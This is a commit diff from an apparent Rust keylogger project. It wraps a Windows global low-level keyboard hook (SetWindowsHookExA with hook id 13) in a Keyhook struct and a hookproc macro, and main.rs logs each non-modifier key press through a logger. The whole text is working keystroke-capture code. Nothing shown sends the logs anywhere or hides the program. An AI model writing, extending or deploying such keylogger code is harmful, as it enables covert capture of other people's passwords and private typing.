add some abstraction to windows api calls

src/key/Keyhook.rs

@@ -0,0 +1,40 @@
+#![macro_use]
+
+use winapi::um::winuser::{HOOKPROC, SetWindowsHookExA, GetMessageW};
+use std::ptr::null_mut;
+
+#[macro_export]
+//im suprised this works.
+macro_rules! hookproc {
+    ($i:expr) => {{
+        use std::option::Option::Some;
+        use winapi::um::winuser::PKBDLLHOOKSTRUCT;
+
+        unsafe extern "system" fn hookproc(code: i32, w_param: usize, l_param: isize) -> isize {
+            $i(code, w_param, *(l_param as PKBDLLHOOKSTRUCT));
+            0
+        }
+
+        Some(hookproc)
+    }}
+}
+
+pub struct Keyhook {
+    pub callback: HOOKPROC,
+}
+
+impl Keyhook {
+    /// use `hookproc` macro here to get callback from closure
+    pub fn new(callback: HOOKPROC) -> Self {
+        Self {
+            callback,
+        }
+    }
+
+    pub fn start(&self) {
+        unsafe {
+            SetWindowsHookExA(13, self.callback.clone(), null_mut(), 0);
+            GetMessageW(null_mut(), null_mut(), 0, 0);
+        }
+    }
+}

src/key/mod.rs

@@ -1 +1,2 @@
-pub mod keystate;
+pub mod keystate;
+pub mod keyhook;

src/lib.rs

@@ -24,7 +24,7 @@ fn get_flag(val: u32, flag: u32) -> bool {
 ///true if exactly 1 bit of the given number is set
 fn has_one_bit_set(n: u32) -> bool {
     //Dont ask me why this works! its mathgic!
-    n > 0 && !(n & (n - 1) > 0)
+    n > 0 && n & (n - 1) == 0
 }
 
 #[cfg(test)]

src/main.rs

@@ -1,13 +1,13 @@
+#[macro_use(hookproc)]
+extern crate jenslog_rs;
 #[macro_use]
 extern crate lazy_static;
 
 use std::env::args;
-use std::ptr::null_mut;
 use std::sync::Mutex;
 
-use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA};
-
-use jenslog_rs::{key::keystate::KeyState, logging::logger::{Logger, get_logger}};
+use jenslog_rs::{key::keystate::KeyState, logging::logger::{get_logger, Logger}};
+use jenslog_rs::key::keyhook::Keyhook;
 
 lazy_static! {
     static ref KEYSTATE: Mutex<Box<KeyState>> = Mutex::new(KeyState::new());
@@ -15,18 +15,13 @@ lazy_static! {
 }
 
 fn main() {
-    unsafe {
-        SetWindowsHookExA(13, Some(hook_callback), null_mut(), 0);
-        GetMessageW(null_mut(), null_mut(), 0, 0);
-    }
-}
-
-unsafe extern "system" fn hook_callback(_code: i32, _w_param: usize, l_param: isize) -> isize {
-    let mut state = KEYSTATE.lock().unwrap();
-    let key = *(l_param as PKBDLLHOOKSTRUCT);
-    state.update(key);
-    //Check if keydown and not aux key
-    if state.is_down() || state.is_aux_key() { return 0; }
-    LOGGER.log(&state);
-    0
+    let hook = Keyhook::new(hookproc!(|_, _, key| {
+        let mut state = KEYSTATE.lock().unwrap();
+        state.update(key);
+        //Check if keydown and not aux key
+        if state.is_down() && !state.is_aux_key() {
+            LOGGER.log(&state);
+        }
+    }));
+    hook.start();
 }